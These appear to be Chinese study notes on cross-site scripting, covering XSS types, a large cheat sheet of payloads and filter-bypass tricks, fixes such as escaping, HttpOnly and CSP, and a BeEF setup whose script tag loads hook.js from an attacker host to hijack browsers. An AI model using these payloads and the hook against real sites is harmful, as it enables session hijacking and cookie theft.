xss原理
==>html代码=>用户
指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用户造成影响的htll代码,
从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。通过在用户端注入恶意的可执行脚本,若服务器对用户的输入不进行处理或处理不严,则浏览器就会直按执行用户注入的脚本。
-数据交互的地方
get、post、headers
反馈与浏览
富文本编辑器 paload="onclick="xxx"><script></script>
各类标签插入和自定义
-数据输出的地方
用户资料
关键词 标签 说明
文件上传(xss)
控制台弹窗语句
a=var input = prompt("Please enter your name", "Harry Potter");
危害
1.网络钓鱼
2.窃取用户cookies资料,从而获取用户隐私信息
3.截取用户浏览器会话,从而执行任意操作 非法转账,发表日志
4.强制弹出广告页面,刷流量
5.网页挂马
6.进行恶意操作 xss+csrf
7.进行大量客户端攻击 ddos
...
类型
反射型(非持久型) 后台 服务器(url)
输入xss脚本或输入xss脚本点击按钮即可完成xss攻击
主要存在于url地址栏,搜索框
存储型(持久型) 后台 服务器->数据库
将用户输入的"数据"存储在服务器端
主要存在于发帖 回帖 用户注册
DOM型 前台 ->js 浏览器
修改页面的DOM节点来进行xss
基于文档对象模型
UXSS(通用型) 插件 翻译
PDF XSS =>针对pdf
危害:钓鱼 cookie盗取 获取ip段
同源策略
限制本地资源被第三方网站读取的策略
部分html标签不受同源策略限制
同源策略: 协议一致 网站域名一致 端口一致
XSS常用标签
onclick javascript onerror onload 事件
标签a
<a href="javascript:alert(1)">test</a>
<a href="x" onfocus="alert('xss');" autofocus="">xss</a>
<a href="x" onclick=eval("alert('xss');")>xss</a>
<a href="x" onmouseover="alert('xss');">xss</a>
<a href="x" onmouseout="alert('xss');">xss</a>
标签img
<img src=x onerror="alert(1)">
<img src=x onerror=eval("alert(1)")>
<img src=1 onmouseover="alert('xss');">
<img src=1 onmouseout="alert('xss');">
<img src=1 onclick="alert('xss');">
标签iframe
<iframe src="javascript:alert(1)">test</iframe>
<iframe onload="alert(document.cookie)"></iframe>
<iframe onload="alert('xss');"></iframe>
<iframe onload="base64,YWxlcnQoJ3hzcycpOw=="></iframe>
<iframe onmouseover="alert('xss');"></iframe>
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
标签audio
<audio src=1 onerror=alert(1)>
<audio><source src="x" onerror="alert('xss');"></audio>
<audio controls onfocus=eval("alert('xss');") autofocus=""></audio>
<audio controls onmouseover="alert('xss');"><source src="x"></audio>
标签video
<video src=x onerror=alert(1)>
<video><source onerror="alert('xss');"></video>
<video controls onmouseover="alert('xss');"></video>
<video controls onfocus="alert('xss');" autofocus=""></video>
<video controls onclick="alert('xss');"></video>
标签svg
<svg onload=javascript:alert(1)>
<svg onload="alert('xss');"></svg>
标签button
<button onclick=alert(1)>
<button onfocus="alert('xss');" autofocus="">xss</button>
<button onclick="alert('xss');">xss</button>
<button onmouseover="alert('xss');">xss</button>
<button onmouseout="alert('xss');">xss</button>
<button onmouseup="alert('xss');">xss</button>
<button onmousedown="alert('xss');"></button>
标签div
这个需要借助url编码来实现绕过
原代码: <div onmouseover='alert(1)'>DIV</div> 经过url编码: <div onmouseover%3d'alert%26lpar%3b1%26rpar%3b'>DIV<%2fdiv>
标签object
这个需要借助 data 伪协议和 base64 编码来实现绕过
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4="></object>
标签script
<script>alert('xss')</script>
<script>alert(/xss/)</script>
<script>alert(123)</script>
标签p
<p onclick="alert('xss');">xss</p>
<p onmouseover="alert('xss');">xss</p>
<p onmouseout="alert('xss');">xss</p>
<p onmouseup="alert('xss');">xss</p>
标签input
<input onclick="alert('xss');">
<input onfocus="alert('xss');">
<input onfocus="alert('xss');" autofocus="">
<input onmouseover="alert('xss');">
<input type="text" onkeydown="alert('xss');"></input>
<input type="text" onkeypress="alert('xss');"></input>
<input type="text" onkeydown="alert('xss');"></input>
标签details
<details ontoggle="alert('xss');"></details>
<details ontoggle="alert('xss');" open=""></details>
标签select
<select onfocus="alert('xss');" autofocus></select>
<select onmouseover="alert('xss');"></select>
<select onclick=eval("alert('xss');")></select>
标签from
<form method="x" action="x" onmouseover="alert('xss');"><input type=submit></form>
<form method="x" action="x" onmouseout="alert('xss');"><input type=submit></form>
<form method="x" action="x" onmouseup="alert('xss');"><input type=submit></form>
标签body
<body onload="alert('xss');"></body>
XSS过滤绕过
编码/标点符号/关键字
补充:针对> <的过滤 可用 \u003E \u003C unicode
编码绕过
浏览器对xss代码的解析顺序为:HTML解码–URL解码–JS解码
javascript协议 data协议
html实体编码 url编码 Javascript 当注入点存在href或者src属性时,可以使用url编码 js编码(unicode编码) 混合编码 js编码->url编码->html实体编码 base64编码 data:text/html;base64,payload(base64) atob函数 用于解码使用base-64编码的字符串 ascii编码 ascii编码一般配合'string.fromcharcode'
空格绕过
针对语句的不同位置可用/ 或 空格 换行 的转义绕过
<img(A)src(A)onerror(B)=(B)alert(C)(1)(D)> A位置可填充/,/123/,%09,%0A,%0C,%0D,%20 B位置可填充%09,%0A,%0C,%0D,%20 C位置可填充%B,/**/, 如果加了双引号,则可以填充%09,%0A,%0C,%0D,%20 D位置可填充%09,%0A,%0C,%0D,%20,∥,>
圆括号过滤绕过
反引号替换 <script>alert`1`</script> throw绕过 <video src onerror="javascript:window.onerror=alert;throw">
单引号绕过
斜杆替换 <script>alert(/xss/)</script> 反引号绕过 <script>alert(`xss`)</script>
alert过滤绕过
prompt替换
<script>prompt('xss')</script>
confirm替换
<script>confirm('xss')</script>
console.log替换
<script>console.log(3)</script>
document.write替换 (最好不要用)
<script>document.write(1)</script>
base64绕过
<script></script>
关键词置换绕过
大小写绕过 <script>aLeRt(/xss/)</script> 双写绕过 <script>alalertert(/xss/)</script>
*函数拼接
利用时加号需要转义 %2B
eval() top() window[] self()
eval()
<img src=1 onerror="eval('ale'+'rt(1)')">
top[]
<img src=1 onerror="top['ale'+'rt'](1)">
window[]
<img src=1 onerror="window['alert'](1)">
self()
<img src=1 onerror="">
parent()
frames()
常用函数
<img src="x"onerror="eval(alert(1))"> <img src="x"onerror="open(alert(1))"> <img src="x"onerror="document.write(alert(1))"> <img src="x"onerror="setTimeout(alert(1))"> <img src="x"onerror="setInterval(alert(1))"> <img src="x"onerror="Set.constructor (alert(1))"> <img src="x"onerror="Map.constructor(alert(1))"> <img src="x"onerror="Array.constructor (alert(1))"> <img src="x"onerror="Weakset.constructor(alert(1))"> <img src="x"onerror="constructor.constructor (alert(1))"> <img src="x"onerror="[1].map(alert(1))"> <img src="x"onerror="[1].find(alert(1))"> <img src="x"onerror="[1].every(alert(1))"> <img src="x"onerror="[1].filter (alert(1))"> <img src="x"onerror="[1].forEach(alert(1))"> <img src="x"onerror="[1].findIndex(alert(1))">
赋值拼接
<img src onerror=_=alert,_(1)>
<img src x=al y=ert onerror=top [x+y](1)>
<img src onerror=top [a='al',b='ev',b+a]('alert(1)')>
<img src onerror=['ale'+'rt']map(top ['ev'+'al'])[0]['valu'+'eof']()(1)>
xss修复
1.过滤危险字符
转义& <> " ' \ 等危险字符
自定义过滤函数引用
htmlspecialchars 编码转义
(变量,类型)
类型 ENT_COMPAT 默认 编码双引号
ENT_QUOTES 编码单引号 双引号
ENT_NOQUOTES 不编码任何引号
预定义的字符是:
& (和号)成为 &
" (双引号)成为 "
' (单引号)成为 '
< (小于)成为 <
> (大于)成为 >
2.http-only Cookie =>防止cookie盗用=>通过读取的数据获取账号密码,
需要 xss 产生登录地址(漏洞产生在登录界面),利用表单劫持
3.设置CSP(网页安全策略) =>白名单策略
4.输入内容长度限制
xss实战利用
xss利用平台
xss平台 https://xss.pt beef-XSS docker run --rm -p 3000:3000 janes/beef http://<ip>:3000/ui/authentication 账户/密码:beef/beef payload: <script src='http://<ip>:3000/hook.js'></script>
后台植入cookie&表单劫持
–权限维持
条件:xss控制对方网站源码
Flash钓鱼配合木马捆绑上线
–配合xss钓鱼
如何测试
1.测试是否存在xss
‘ “><img/src=x> 存储/dom
‘”><sssss 反射
